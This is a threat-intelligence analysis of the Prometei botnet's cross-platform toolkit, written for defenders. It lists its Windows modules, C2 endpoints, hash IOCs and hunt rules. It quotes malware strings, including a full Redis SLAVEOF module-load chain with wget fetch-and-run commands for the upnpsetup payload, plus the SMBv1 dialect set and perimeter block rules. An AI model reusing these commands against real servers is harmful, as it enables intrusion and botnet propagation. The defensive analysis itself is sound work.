[Part 2/2] Two-Way Prometei: When the Linux Botnet Pivots Back to Windows

The same operator runs Windows AND Linux from one toolkit - and either side can spread to the other. Here’s the full arsenal.

Observation period: SSH honeypot drops, April 2026

Primary signal: the same Prometei drop carries the complete Windows toolkit alongside the Linux ELF - a Mimikatz-style credential dumper, a Tor stack disguised as Microsoft system services, a 32-bit Windows loader trinity, and a Linux ELF that pivots back to Windows via WinRM, Redis SLAVEOF, and SMB

Actor confidence: behaviorally and infrastructurally consistent with the Prometei lineage documented by Unit 42 (2025) and eSentire (February 2026). Same C2 IP, same xinchao123 archive password, same JSON-schema sharing across the Linux and Windows binaries

New contribution: the Linux side documented in Part 1 is one face of a bidirectional cross-platform mesh. We document the second face: 17 Windows modules in the same drop, the SSH brute-forcer that targets upnpsetup_x86 / arm32 / arm64 / mips / mac from a Windows host, and the Linux ELF that pivots back to Windows hosts through WinRM SOAP, Redis SLAVEOF module-load, and SMB (with SMBv1/MS17-010-era dialect strings still present). Plus a server-side fingerprint (Apache Win64 + Cyrillic charset) that points where the Unit 42 / eSentire attribution work was already pointing

Defensive value: explicit IOCs for the 17-module loadout, the xinchao123 archive password as a behavioral signal, hash IOCs for the Mimikatz variant frozen since February 2023, and the cross-platform pivot signatures (WinRM port 5985, Redis SLAVEOF on port 16379, SMB dialect strings)

📑 Read this alongside Part 1 - Prometei Goes Both Ways , published the same day. Part 2 (this one) is the headline: the 17 Windows modules, the bidirectional pivot, and the server-side fingerprint of the C2. Part 1 is the technical companion: the single-sample deep dive on zsvc, its JSON-trailer schema, and the binary-churn analysis. Both episodes draw on the same April 2026 honeypot observation.

The companion piece (Part 1 ) covers the single-sample Linux deep dive: the zsvc ELF, the JSON-trailer schema, the C2 endpoints, the cross-confirmation with eSentire’s Windows-side report from February.

What Part 1 understated is how complete the same drop was on the Windows side. The drop was not “a Linux ELF with a Linux sibling.” It was a full multi-platform toolkit: a 32-bit Windows loader trinity, a Tor stack disguised as Microsoft services, a Mimikatz variant, a fully-featured RDP brute-forcer, and a Linux ELF that carries WinRM client primitives and a Redis SLAVEOF module-load chain - pivot-back machinery present in the binary, prepared to reach Windows hosts.

This episode documents that arsenal end-to-end and surfaces the engineering decisions behind it. Most concretely: Prometei is not “Linux miner with a Windows variant.” It is a cross-platform mesh where every infected node on one side is a potential pivot to the other side, using whichever credentials the operator’s walker.ini happens to carry.

What was actually in the drop

Each Prometei drop on the SSH honeypot delivered eight top-level files:

The two .7z archives are password-protected with xinchao123. The string is hardcoded in the orchestrator binary rdpcIip.exe:

x updates2.7z -pxinchao123 -y
x updates1.7z -pxinchao123 -y

That is a behavioral IOC in its own right: any process that invokes 7z x updates*.7z -pxinchao123 is unpacking Prometei’s component archives. We have not seen this password reported in any prior public writeup of the Prometei family. It is one of three contradictory geographic and linguistic markers in this toolkit and should not be treated as an attribution signal - see Part 1, “On attribution” for the full discussion.

Inside the two archives are 17 modules. Five in updates1.7z, twelve in updates2.7z.

updates1.7z - credentials and SSH spread

updates2.7z - the C2 / Tor stack

The pattern on Windows is straightforward and matches eSentire’s February 2026 description: a service named MSDTC runs msdtc.exe, which beacons via libcurl to the C2 (http://103.176.111.176/cgi-bin/p.cgi), tunneling through a local SOCKS5 on port 9050 served by Smart Card (smcard.exe, the renamed Tor). Two Microsoft-looking service names, one full Tor circuit, one HTTP gate.

Mimikatz frozen since 2023

The two miWalk*.exe files have a tell. Their PE compile timestamps are 2023-02-04T23:38-40Z, and the SHA256 we observe matches across both sample-sets we collected. This Mimikatz binary has not been recompiled in three years.

Inferences that fit the data:

• The operator does not own the Mimikatz toolchain (perhaps a kit borrowed or repurposed). Recompile cost > marginal gain.
• LSASS APIs have not changed enough since 2023 to need a refresh.
• AV detection on Mimikatz is already saturated - recompiling does not move the detection rate, only signature drift, which is rate-limited by AV vendors anyway.

The defensive consequence is clean: 314d2f1cb70c025ab0ba9de8c13914bda674b8f0a23e54454374d14d57fd2786 (miWalk32.exe) and af000bc9f397975604ec0ffd36ff414005ea49ca97ec176eadd14072ceccac00 (miWalk64.exe) are highly durable hash IOCs for this lineage. If those hashes appear on a Windows host in your fleet, you are seeing this Prometei lineage with very high confidence.

The pivot from Windows to Linux/macOS

windrlver.exe (a Win32 i386 binary, ~309 KB) is the most interesting Windows-side component, and the one we have seen the least documented in public writeups. Its strings make its job explicit:

SSH_MSG_KEX_DHGEX_INIT
ssh_packet_server_dhgex_init
aes128-ctr
sudoers
su
password
ErrorConn: %s
ErrorPass: %s
walker.ini
nethelper2.exe   nethelper4.exe
uname -a
uname -m
Darwin
&&pkill upnpsetup
upnpsetup
upnpsetup_x86
upnpsetup_arm32
upnpsetup_arm64
upnpsetup_mips
upnpsetup_mac
i686 i586 i486 i386 armv4 armv5 armv7 aarch64 mips

The flow these strings describe:

1. windrlver.exe reads walker.ini (filled by miWalk*.exe after LSASS dump)
2. It performs SSH brute-force against hosts on the local LAN, speaking SSH directly (the binary embeds the SSH protocol - SSH_MSG_KEX_DHGEX_INIT, aes128-ctr)
3. On a successful login, it executes uname -a and uname -m to identify OS and architecture
4. It explicitly detects Darwin (macOS) in addition to Linux
5. Based on arch, it drops the matching upnpsetup variant: upnpsetup_x86, upnpsetup_arm32, upnpsetup_arm64, upnpsetup_mips, or - if Darwin - upnpsetup_mac
6. It runs pkill upnpsetup first to kill any previously-deployed instance, then launches the new one

The architecture set is what makes this remarkable. Six platforms are addressed from the Windows binary:

• Linux x86 (upnpsetup_x86)
• Linux ARM 32-bit (upnpsetup_arm32)
• Linux ARM 64-bit (upnpsetup_arm64)
• Linux MIPS (upnpsetup_mips)
• macOS (upnpsetup_mac, presumably a Mach-O)
• (the x86_64 Linux variant we received as upnpsetup is the default)

Prior writeups document Prometei’s SSH-spread capability at the family level; the cross-architecture set visible in windrlver.exe’s strings - six target platforms - is a complementary detail that surfaces here from the Linux-side delivery on our honeypot. We did not receive the _arm32, _arm64, _mips, or _mac payloads (our honeypot is x86_64 Linux), but the Windows binary’s strings show the operator is provisioning for at least six target platforms from one toolkit.

This is also where the walker.ini becomes the cross-platform glue. The same INI file the Windows-side credential dumper writes is read by the SSH spreader on Windows - and, as we will see, it is also referenced by the Linux side. One operator, one shared config.

The pivot back, from Linux to Windows

This is the half that was not visible in Part 1.

When we unpacked upnpsetup (Linux ELF, x86_64, statically linked, ~4.3 MB after standard upx -d), the strings revealed three lateral-movement primitives we did not expect on the Linux side:

1. Full WinRM SOAP client (port 5985)

The unpacked binary embeds a complete set of WS-Management envelopes, including:

• Action transfer/Create - open a remote shell
• Action shell/Command - execute a command in that shell
• Action shell/Receive - read stdout/stderr
• Action shell/Signal - terminate
• Action transfer/Delete - close

All targeting http://%s:5985/wsman, with WINRS_NOPROFILE and WINRS_CODEPAGE 437 option-set fields, full UUID-shaped MessageID slots, and proper <env:Header> / <env:Body> structure. The binary is prepared to walk into a Windows host with WinRM exposed and give the operator an interactive shell.

The credentials would come from walker.ini - the same file populated by miWalk*.exe on a previously-compromised Windows host. The mesh design closes the loop: a Linux node is positioned to reach a Windows host using credentials harvested earlier from a different Windows victim, all stored in the same shared INI. We observed the machinery present in the binary, not the pivot executing.

2. Redis SLAVEOF module-load exploit (port 16379)

The unpacked binary embeds the Redis exploitation chain:

SLAVEOF %s 16379
CONFIG SET dir /tmp/
CONFIG SET dbfilename plugin1.so
MODULE LOAD /tmp/plugin1.so
prometeicmd "killall -9 upnpsetup"
prometeicmd "rm /tmp/upnpsetup"
prometeicmd "wget http://%s/k.php?a=x86_64,%sD -O upnpsetup&&chmod 777 ./upnpsetup"
prometeicmd "./upnpsetup"
prometeicmd "rm /tmp/plugin1.so"
SLAVEOF NO ONE
MODULE UNLOAD system
CONFIG SET dbfilename dump.rdb

This is the classic Redis master-slave abuse, with one twist: the attacker’s master Redis listens on non-standard port 16379 (vs. the conventional 6379), presumably to avoid conflicting with a Redis the target may already have running, and to keep the staging server below random scanner radar.

The flow:

1. Connect to a target Redis (6379 open, no auth - common misconfiguration)
2. Force the target to slave-of the attacker’s Redis on 16379
3. Sync replicates a malicious plugin1.so (the Redis module written to disk via dbfilename)
4. MODULE LOAD /tmp/plugin1.so registers a prometeicmd command in the target Redis
5. Successive prometeicmd "wget ..." invocations fetch and launch upnpsetup
6. Cleanup: MODULE UNLOAD, CONFIG SET dbfilename dump.rdb to restore the default, SLAVEOF NO ONE to detach

The string prometeicmd is the operator’s own naming. They hardcoded their malware family name into the Redis exploit module name, which is a small but real OPSEC slip - it lets defenders write a YARA rule that matches the literal prometeicmd substring in any Redis loaded module.

3. SMB dialect set (SMBv1 / MS17-010-era signature)

The unpacked binary contains the full SMBv1 dialect negotiation set:

PC NETWORK PROGRAM 1.0
LANMAN1.0
Windows for Workgroups 3.1a
LM1.2X002
LANMAN2.1
NT LM 0.12
PCLAN1.0
MICROSOFT NETWORKS 1.03
DOS LM1.2X002
DOS LANMAN2.1
Cairo 0.???
Windows ... Embedded Standard / Server 2... / Windows ...

This dialect string set is consistent with an SMBv1/MS17-010-era module, but we did not validate exploit execution or recover the full exploit path from this Linux ELF - only the negotiation-side strings. Microsoft patched MS17-010 in March 2017; the presence of the SMBv1 negotiation chain in Prometei in 2026 suggests the operator still finds enough unpatched Windows Server 2008/2012/2016 hosts on weakly-administered networks to keep the capability in the toolkit.

The presence of an SMBv1/MS17-010-era dialect set in a Linux ELF in 2026 is the strongest single statement of the operator’s market thesis: there are still enough unpatched SMBv1 Windows hosts out there to make the SMB capability worth maintaining in the 2026 toolkit, and the operator has decided to push that capability from the Linux side as well.

4. The unifying glue: walker.ini

walker.ini (and its variants walker.dat, desktop.dat, ckerd.dat, with fallback search paths including /usr/sbin/walker.ini) is referenced by both the Windows trinity and the Linux ELF. This is a single shared config file the operator reads from on either platform.

That choice is the architectural commitment. Prometei is not “two ports of the same malware family.” It is one toolkit with two binaries, sharing a config file format. Compromise either side, harvest credentials, and the toolkit on the other side will read the same config when it runs - the structural condition for cross-platform pivot, evidence of which we see in the binary, not in execution telemetry.

Shared code at the binary level

The cross-platform unity goes deeper than a shared config file. We found a string that shows the Windows and Linux components share literal binary content:

Qwdrosd3grdsfFsz

This 16-character string appears in rdpcIip.exe (Windows, RDP brute-forcer) and in the unpacked zsvc (Linux). Same string, same offset region (in the static data). Whatever it is - a salt, an XOR key, an integrity constant, a label - it points to a shared toolkit lineage, with the Windows and Linux binaries built from the same upstream codebase.

Likewise, the JSON configuration schema is identical across both platforms. The Windows windrlver.exe and rdpcIip.exe carry the schema labels:

"config":1, "id":" ,
"} "enckey":" "ParentId":" "ParentHostname":" "ParentIp":" "ip":"

(stored as printf-style format strings, with the values written at runtime to walker.ini).

The Linux zsvc carries the same schema, but with the values inlined in the binary’s UPX trailer as documented in Part 1:

{
  "config": 1,
  "id": "…",
  "enckey": "…",
  "ParentId": "…",
  "ParentIp": "…",
  "ParentHostname": "…",
  "ip": "…"
}

Same six-field schema, same field order, same JSON encoding. Different placement: format strings on Windows (values written runtime), inline values on Linux (values written at delivery time as a UPX trailer - the per-victim packaging trick we covered in Part 1).

This is binary-level evidence that the Windows and Linux components belong to the same toolkit lineage. The cross-platform link is visible in the binaries, not only in the C2 infrastructure.

C2 infrastructure: not a single host

In Part 1 we documented 103.176.111.176/cgi-bin/p.cgi as the clearnet C2 endpoint for zsvc. The Windows side of the toolkit points to a different host.

upnpsetup (the Linux ELF that pivots back to Windows) carries an additional endpoint format string for its self-update path:

wget -nc http://%s/k.php?a=%s,%sH -O ./upnpsetup
http://%s/k.php?good=%s&i=%s

k.php - a PHP endpoint, not a CGI. We probed 103.176.111.176 from a clean ephemeral test host with several plausible k.php paths (/k.php, /cgi-bin/k.php, both with realistic UAs and rate-limiting). All returned 404 Not Found. The k.php endpoint is on a different host than the p.cgi endpoint we documented in Part 1.

The architecture is therefore at minimum two C2 hosts, separated by function:

• 103.176.111.176/cgi-bin/p.cgi - zsvc beacon-and-receive (production)
• <unidentified host>/k.php - upnpsetup self-update and lateral-pivot fetch

We did not identify the second host from static analysis alone. It is encoded somewhere in upnpsetup’s runtime config (likely written to disk by a parent peer) rather than in static strings. Dynamic analysis or recovery from a victim’s walker.ini would resolve this.

The implication for defense is the same as in Part 1 but more pointed: blocking 103.176.111.176 does not block the toolkit’s update channel. Watch for outbound HTTP requests with the URL pattern */k.php?a=<arch>,* - that request fingerprint identifies upnpsetup’s pivot/update fetches independent of which C2 host serves them.

Server-side fingerprint of 103.176.111.176

Probing 103.176.111.176 (clean ephemeral test host, three rotating UAs, throttled requests):

• Server header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10 - Windows-built Apache on a stack from late 2019 (PHP 7.3 has been EOL since December 2021)
• /index.php returns the literal current Unix timestamp (10 bytes, e.g., 1777778786) - a <?php echo time(); ?> endpoint, presumably for implants to verify reachability and synchronize their clock before beaconing
• /cgi-bin/p.cgi returns HTTP 200 with Transfer-Encoding: chunked and Content-Type: text/html; charset=windows-1251 - the Cyrillic Windows codepage is an observed fact about the C2 stack; we do not read it as an attribution signal (see Part 1 §“On attribution” for why charset, archive password, and ASN together are read here as noise rather than direction)
• Other paths return HTTP 403 or 404. The Apache configuration appears hardened against dotfile and directory-listing exposure rather than running on defaults.

The operator runs an EOL stack but has the basic Apache hardening right. No OPSEC slips at the file-system layer. The Cyrillic charset and the time-echo endpoint are the two server-side breadcrumbs.

Defensive implications

Hash IOCs are tiered by churn level

This is the single most actionable point for defenders running hash-based blocklists:

A hash-IOC list of miWalk32/64.exe is durable. A hash-IOC list of zsvc is not - it must be the schema-anchored YARA from Part 1.

Hunt patterns

For Windows-fleet hunts:

• Service named MSDTC whose binary path is not %SystemRoot%\System32\msdtc.exe (or is in a non-default location). Real MSDTC ships with Windows; an MSDTC service backed by an attacker-installed binary is a pre-stage signal.
• Service named Smart Card whose binary loads tor 0.4-banner content in memory (a Tor instance running under a fake service name).
• Process command-line containing 7z x updates*.7z -pxinchao123 - the archive password is hardcoded and unique enough to be a strong behavioral signal.
• walker.ini, walker.dat, desktop.dat, ckerd.dat files in C:\Windows\ or /usr/sbin/ - the Prometei config-file naming is non-coincidental.
• Outbound TCP/445 (SMB) from a Linux host that the inventory says is not an SMB client → unexpected lateral movement, consistent with upnpsetup’s SMB module.

For Linux-fleet hunts:

• Outbound TCP/5985 (WinRM) from a Linux host → consistent with upnpsetup’s WinRM pivot module.
• Outbound TCP/16379 (Redis non-standard) → consistent with the Redis-SLAVEOF master used by the attacker.
• HTTP requests with the URL pattern */k.php?a=x86_64,* or */k.php?good=*&i=* → upnpsetup’s update/beacon fetch.

For network-edge hunts:

• The IOC list from Part 1 (103.176.111.176, the v2 Tor onion, the I2P b32 endpoint) covers the zsvc channel. The k.php host is not yet identified.

Network-layer

Block the following at perimeter for any fleet without legitimate matching egress:

TCP/5985 outbound          # WinRM client traffic from non-Windows hosts
TCP/16379 outbound         # Non-standard Redis port
TCP/445 outbound           # SMB lateral, restrict to known-need pairs
URL pattern "/k.php?a="    # upnpsetup self-update URL shape
URL pattern "/cgi-bin/p.cgi?r=0&auth=hash" # zsvc beacon URL shape (Part 1)

Confidence-rated IOCs

Observed (high confidence, present in our sample-set)

Inferred (strongly suggested by the data, not observed at runtime)

• A shared toolkit lineage produces both the Windows and Linux components (shared schema, shared Qwdrosd3grdsfFsz constant, shared walker.ini config file)
• The Mimikatz components are an external dependency - kept frozen because the operator does not own the Mimikatz toolchain or considers recompile cost > marginal AV-evasion gain
• The toolkit targets at least six platforms (upnpsetup_x86 / arm32 / arm64 / mips / mac plus the default x86_64) per the strings in windrlver.exe
• The C2 architecture has at least two hosts (p.cgi for zsvc beacons, k.php for upnpsetup updates) - separated by function
• The SMBv1/MS17-010-era dialect set in upnpsetup is not dead code; the operator would have removed it long ago if it were not finding hosts to compromise

Speculative

• The geographic and linguistic markers in this toolkit (Cyrillic charset on C2 responses, Vietnamese-language archive password, ASN registered to a hosting entity in the same region) point in three different directions and are read here as noise, not signal. See Part 1 §“On attribution” for the full discussion of why we treat the marker stack as either sloppy assembly or an inconsistently-executed false flag, neither provable from static evidence alone
• The frozen Mimikatz timestamp 2023-02-04T23:38-40Z may pin the date a kit version was built or distributed; we do not have evidence to support a stronger claim than that

Scope of this analysis

We deliberately did not cover:

• Operator identity beyond “consistent with the Prometei lineage Unit 42 and eSentire have been documenting.” Even a multi-platform, multi-IOC observation does not pin operator identity.
• The mining payload. The mining component is not in the 17 modules; per upnpsetup’s strings, it is fetched at runtime via k.php based on the victim’s architecture. Tracing it would require either a runtime sandbox observation or recovery of a walker.ini from an active victim - both out of scope here.
• The exact location of the second C2 host (the one serving k.php). It is encoded in runtime config rather than static strings.
• The crypto format of the enckey blob - covered in Part 1, still unresolved here. The 128-byte length and non-ASN.1 structure remain the stable observations.
• The Mach-O upnpsetup_mac payload. Our honeypot is x86_64 Linux; we received the upnpsetup matching that arch and never saw the Darwin variant in the wild. The strings in windrlver.exe confirm it exists; we did not analyze it.

Why this matters

The single-platform framing of malware reporting - “a Linux miner,” “a Windows trojan” - is a holdover from a time when most operator toolkits actually were single-platform. Prometei in 2026 is not. Compromising either side of a defender’s fleet - Windows OR Linux - gives the operator a foothold the toolkit can use to walk into the other side, using credentials harvested from one side and lateral-movement primitives appropriate to the other.

For SOC and IR teams, the practical consequence is two-fold:

1. Cross-pollinate hunt patterns. A Linux server beaconing on TCP/5985 is not just a curiosity; in the Prometei case it is a Linux-side indicator of a Windows-domain-credential pivot. Conversely, a Windows host reading walker.ini and connecting outbound on TCP/22 to internal Linux servers is the matching Windows-side pivot indicator.
2. Treat archive passwords and config-file names as cross-platform IOCs. xinchao123, walker.ini, prometeicmd - these strings are equally diagnostic on either platform. Hash IOCs may be platform-specific; behavioral IOCs increasingly are not.

The 17 modules in this drop are the operator’s honest answer to the question “how do we keep our toolkit useful when victims may be on Linux, Windows, macOS, or all three?” The answer is: build it for all three, share the config, and pivot in either direction.

References

• Part 1 of this series - “[Part 1/2] Prometei Goes Both Ways: Same C2, Both Operating Systems, Three Months Apart” - covers the zsvc Linux ELF, the JSON-trailer schema, the C2 endpoints, and the unpack recipe in detail
• Unit 42 / Palo Alto Networks. Resurgence of the Prometei Botnet. 2025 - https://unit42.paloaltonetworks.com/prometei-botnet-2025-activity/
• eSentire Threat Response Unit (TRU). Tenant from Hell: Prometei’s Unauthorized Stay in Your Windows Server. eSentire, February 5, 2026 - https://www.esentire.com/blog/tenant-from-hell-prometeis-unauthorized-stay-in-your-windows-server
• MITRE ATT&CK T1003.001: LSASS Memory (relevant to miWalk*.exe) - https://attack.mitre.org/techniques/T1003/001/
• MITRE ATT&CK T1021.006: Remote Services - Windows Remote Management (relevant to upnpsetup’s WinRM pivot) - https://attack.mitre.org/techniques/T1021/006/
• MITRE ATT&CK T1210: Exploitation of Remote Services (relevant to the SMBv1/MS17-010-era dialect set) - https://attack.mitre.org/techniques/T1210/
• MITRE ATT&CK T1110.001: Brute Force - Password Guessing (relevant to windrlver.exe SSH brute-force) - https://attack.mitre.org/techniques/T1110/001/
• MITRE ATT&CK T1505.003: Server Software Component - Web Shell (relevant to the Redis SLAVEOF module-load primitive) - https://attack.mitre.org/techniques/T1505/003/

OHIIHO Research - sensors powered by HIIH.